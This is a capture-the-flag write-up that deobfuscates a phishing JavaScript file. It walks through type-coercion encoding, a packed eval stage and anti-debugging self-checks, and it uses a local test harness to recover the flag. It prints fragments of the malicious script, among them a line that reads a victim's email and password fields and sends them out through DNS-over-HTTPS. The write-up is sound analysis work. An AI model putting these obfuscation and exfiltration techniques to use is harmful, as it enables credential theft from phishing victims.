Query by polarbearer

> **While investigating a phishing attempt, you came across a suspicious JavaScript file. Can you find out more about it?**

> Author: **polarbearer**

Type casting & tricks

This script plays with type conversions; for example in:

`(![] + "")[HTB]`

`![]` is the logical negation of the empty array `[]`.

> Surprisingly, the empty array evaluates to `true`!

```
Boolean([]);
true
Boolean({});
true
Boolean("");
false
```

So then `![]` is `false` and casting it to a string gives `"false"`.

Finally, the letter at index `HTB` / 0 is “f”.

The weird expressions actually resolve to strings and numbers: we can just replace them with their result.

```
HTB = -1; // bitwise not on empty string

HTB = {
    ___: 0, // increment from -1 to 0
    $$$$: "f", // index 0 of "false"
    __$: 1,
    $_$_: "a", // index 1 of "false"
    _$_: 2,
    $_$$: "b", // index 2 of "[object Object]"
    $$_$: "d", // index 2 of "undefined"
    _$$: 3,
    $$$_: "e", // index 3 of "true"
    $__: 4,
    $_$: 5,
    $$__: "c", // index 5 of "[object Object]"
    $$_: 6,
    $$$: 7,
    $___: 8,
```

```
    $__$: 9,
    $_: "constructor",
    $$: "return"
};
```

Rewriting the whole script?

Next let's substitute each HTB `HTB.___` with its actual content.

> be wary of ambiguities: `HTB.$$_` is part of `HTB.$$_$` too!

To avoid replacing part of a key, we start with the longest keys and proceed in descending order.

```
perl -pe 's#HTB\.\$\$\$\$#"f"#g' htb.js > htb.sub.js
```

Or not! It's way too tedious…

Watching the script unfold

Actually, the huge expression ends with `()`: it is most likely a definition that is being evaluated on the fly.

So removing the parentheses should define a new function.

```
(function anonymous() {
    eval(function(p, a, c, k, e, d) {
        e = function(c) {
            return c
        }
        ;
        if (!''.replace(/^/, String)) {
            while (c--) {
                d[c] = k[c] || c
            }
            k = [function(e) {
                return d[e]
            }
            ];
            e = function() {
                return '\\w+'
            }
            ;
            c = 1
        }
        ;while (c--) {
            if (k[c]) {
                p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c])
            }
        }
        return p
```

```
    }('7 304(){46.49(\'209\').305(\'306\',197)}7 197(){307 205="303://302.193/";19(46.49(\'101\')...', 10,
        554, '||||||var|function|return|_0x5321c8|_0x50f60b|...|'.split('|'), 0, {}))
})
```

More obfuscated code!

Crazy to see how a clunky heap of special characters merged to form meaningful code! From a bunch of nails to… some alien looking tech.

- `p` looks like javascript code where the variable and function names have been replaced with numbers
- `a` is 10
- `c` is 554, the length of the array supplied in k
- `k` is an array of commands and variable names
- `e` is 0
- `d` is an empty dictionary

Some of these arguments are modified inside the anonymous function. The specifics are fun, but don't matter in the end.

Replacing the `eval` with `console.log` displays the reconstructed payload:

```
function de1fb561338fe0fa7d1b7e13ff4219f6()
        {document.getElementById('d1e0cb08a90965a7489aabc5f6d423ea').addEventListener('change',...
```

The final form

The payload keeps leveling up! We're now facing a troll:

```
# HTB{sorry_but_this_is_not_your_flag}
echo SFRCe3NvcnJ5X2J1dF90aGlzX2lzX25vdF95b3VyX2ZsYWd9 | base64 -d
```

The script is full of tricks like:

- variable & function name scrambling:
  - `_0x113d85`
  - `f9061f7c0fe73c0f0a9d310251a0f3b2`
- integers are replaced by long arithmetic operations:
  - `37 * 95 + 3395 + -6910`
  - instead of 0
- ambiguous / convoluted syntax:
  - `var _0x48b5ef = !![];`
  - `_0x54c467 = _0x54c467 - (-716 + 8334 + 3809 * -2)`
  - is `_0x54c467 = _0x54c467 - 0`, which could be a type cast to integer
- useless temp functions & objects :
  - `_0x16987c = _0x16987c || function(_0x3f8d91) {return _0x3f8d91;};`
  - ie the identity
- it is testing its own code:
  - `_0x532824["test"](this["myKpez"]["toString"]())`, where:
  - `_0x532824` is a regexp: `/\w+ *\(\) *{\w+ *['|"].+['|"];? *}/`
  - and `this["myKpez"]` is some function
- functions returning other functions depending on global variables and weather forecast…

Still the goal appears clearly:

```
return btoa(JSON.stringify({
    ad99c6f034d1ea1c806946aca0d37de5: a4a926700de90750f38d50d44bf0d617,
    c4950c445ce76c8090c39301cb6ea61d: ae3e3dd78438626d43caef461d837df4,
    b7a0d10dda58ed13561ce5810218d5a4: c70f2de15216c941c36a6a377a78f24f
}))
```

Where `a4a926700de90750f38d50d44bf0d617` and `ae3e3dd78438626d43caef461d837df4` are our inputs, most likely sent to a malicious server over DNS / HTTPS:

```
doh.sendDohMsg(doh.makeQuery(f9061f7c0fe73c0f0a9d310251a0f3b2(document.getElementById('7747eeee2f2dc162cc853a
        8371395dd5').value, document.getElementById('d1e0cb08a90965a7489aabc5f6d423ea').value), "A"),
        f4df21ccca072ba5e003e265e4314aa4, "GET")
```

> DoH stands for DNS over HTTPS

The end result `c70f2de15216c941c36a6a377a78f24f` will surely contain the flag.

But the script is 300+ lines full of intentionally repulsive code… Let's speed this up and start debugging!

Delousing the troll

Triggering the troll

First, let's wrap the script in a HTML page and resolve the missing dependencies:

```
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="" xml:lang="">
<head>
    <meta charset="utf-8"/>
</head>
<body>
    <form>
        <input id="7747eeee2f2dc162cc853a8371395dd5" type="email" name="email" placeholder="email"
        value="yo@mail.htb">
        <input id="d1e0cb08a90965a7489aabc5f6d423ea" type="password" name="password" placeholder="password"
        value="who'sagoodboy?">
    </form>
    <script src="logging.js" type="text/javascript">
const doh = {
    makeQuery: function(name, record) {
        console.log(`Query:\n\t${name}\n\t${record}`);},
    sendDohMsg: function(query, server, method) {
        console.log(`Message:\n\t${query}\n\t${server}\n\t${method}`);}
}
    </script>
    <script src="payload.pretty.js" type="text/javascript"></script>
</body>
```

Troll's kinda hairy

From there we can either call `de1fb561338fe0fa7d1b7e13ff4219f6` and then change the input or directly call `d57ad09bd0208501e2808afa64e55af1`.

We're greeted with an infinite loop.

```
for (var _0x25b13c = 37 * 95 + 3395 + -6910, _0x983224 = _0x5d89db["length"]; _0x25b13c < _0x983224;
        _0x25b13c++)
```

The upper bound increases on each iteration, making it infinite: we replace with a hardcorded `10`, because the result of the function doesn't seem to be used.

Next: a recursive call with another infinite loop.

The loop follows the same template as the former so it's easily dispatched. And the chain call goes:

```
_0x2655 => _0x6b05bd.nQpDwk => _0x6b05bd.DvLOWr => _0x6b05bd.oyjTXQ => _0x2655 => _0x6b05bd.nQpDwk => ...
```

The chain hinges on a test of `this['cYYSed'][0]`. So we flip the boolean value:

```
// from [1, 0, 0]
this['cYYSed'] = [0x4f9 + -0x1d40 + -0x206 * -0xc, 0xaa7 + -0x2284 + 0x95 * 0x29, -0x15f9 + 0x226a +
        -0xc71]
//to [0, 0, 0]
this['cYYSed'] = [0, 0, 0]
```

But then exceptions start popping…

Pushing the troll back

All the while, I wonder: how did this script even work to begin with?? May-be I broke it / altered the functions? Can I really decode it?

Going back the code introspection, it tests the regular expression:

```
var is_og = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
```

against the function:

```
// OG
var myKpez = function(){return "newState";}

// or, once beautified
var myKpez_pretty = function() {
    return "newState";
}
```

In other words the code has been altered by the prettification:

```
// "function(){return'newState'}"
myKpez.toString();
//"function() {\n    return \"newState\";\n}"
myKpez_pretty.toString();
```

And I didn't fool the troll:

```
// true
is_og.test(myKpez.toString());
// false
is_og.test(myKpez_pretty.toString());
```

And watching the troll betray himself

At this point several routes are possible:

- debugging the original script
- reverse engineering the whole script to disarm the introspection
- a mix of the two former options

Reversing looks feasible but tedious. On the other hand I’m unsure of my debugging skills but it still seems faster. After hours of static analysis, it’s time to be a little flexible and take the route meant by the author!

So the wrapper has to point to the OG script, and we’ll let it trigger on input change, like it’s meant to be. Just in case I missed a step.

Since the script is just one line, it’s impossible to set breakpoints. Hopefully, Chrome dev tools are way ahead: clicking on `{}` expands the code on multiple lines, but it still runs the original script.

Then we can put a greedy breakpoint right on the return statement at the end:

> SFRCe2ZPdU5kX2NMNHIxdHlfaU5fMGJmVXNjYVQhb059

Finally the troll is making sense!